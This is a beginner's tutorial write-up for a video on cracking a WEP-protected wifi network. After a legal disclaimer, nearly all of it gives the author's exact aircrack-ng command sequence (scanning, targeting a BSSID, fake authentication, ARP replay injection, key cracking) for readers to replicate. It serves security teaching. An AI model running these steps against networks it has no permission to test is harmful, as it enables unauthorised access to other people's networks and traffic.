VIDEO: Hacking - How to Hack a Wifi Router with WEP encryption - For Beginners
LINK: http://www.youtube.com/watch?v=ArGwBA5PeL0
PROGRAMS USED: Backtrack 4R2 / VMware Workstation / aircrack-ng suite (Backtrack 5 Compatible)
THIS DOCUMENT WRITTEN BY: R4V3N7A7700

DISCLAIMER: IT IS ILLEGAL CRACK, HACK, PENETRATION TEST, AND/OR BREAK INTO SYSTEMS OR DEVICES WHICH DO NOT BELONG TO YOU IN MOST COUNTRIES. PLEASE CHECK YOUR LOCAL LAWS AND REGULATIONS BEFORE ATTEMPTING ANY OF METHODS DISCUSSED OR DEMONSTRATED IN THIS DOCUMENT. TOP-HAT-SEC DOES NOT CONDONE ILLEGAL METHODS OF HACKING OR TESTING. PLEASE DO NOT BREAK THE LAW. BY READING THIS DOCUMENT FURTHER, TOP-HAT-SEC IS NOT RESPONSIBLE FOR THE READERS ACTIONS OR DECISIONS WHICH MAY BE CONSIDERED ILLEGAL.

This write up is an explanation of the video titled above. I will break down all of the commands used which were specific to my computer and my access point. If you are attempting to replicate this attack, please note that you will be unsuccessful if you type in the incorrect MAC and/or AP information. You must enter in specific information which is relevant for your situation, not mine. Please also note that there are many variations of this attack, this is just one example. If you would like to learn more, please inquire about my CWSP course. admin@top-hat-sec.com .

I first open a Console (Console 1) by going to " **KMenu > System > Console** "

I then type the command " **airmon-ng** " (This will display any compatible wireless interfaces on the computer, mine displays wlan0)

I type the command " **airodump-ng wlan0** " (This will scan all of the available wireless networks in my area.)

Once I find the target network, I stop the scan by holding the " **Control (CTRL)** key and then press **C** ".

I then specify the target information and type the following, " **airodump-ng –c 11 –w wepcrack –bssid 00:1F:90:BF:7C:38 wlan0** "

Open a Console (Console 2)

I type the following command, " **aireplay-ng -1 0 –a 00:1F:90:BF:7C:38 –e ZIS66 wlan0** " (If successful, you should get a successful authentication and association).

I now type the following command to start the ARP replay attack method, " **aireplay-ng -3 –b 00:1F:90:BF:7C:38 –e ZIS66 wlan0** " (This will read packets until an ARP packet is captured, it will then inject the packet over and over again making the data climb from the airodump-ng scan screen if successful.)

Open Console 3

I type the command, " **aircrack-ng wepcrack*.cap** "

CLOSING COMMENTS:

It is unusual that I was able to do this entire attack without placing my card wlan0 into monitor mode. Most of the time you will receive an error message if you try to use wlan0. You should always place your interface into monitor mode, (mon0). It may have just had something to do with VMware. I do not actually recommend using VMware. It causes more problems than its worth. It is always best to boot backtrack from a USB or DVD. Of course if you can, just install it to a HDD or external HDD.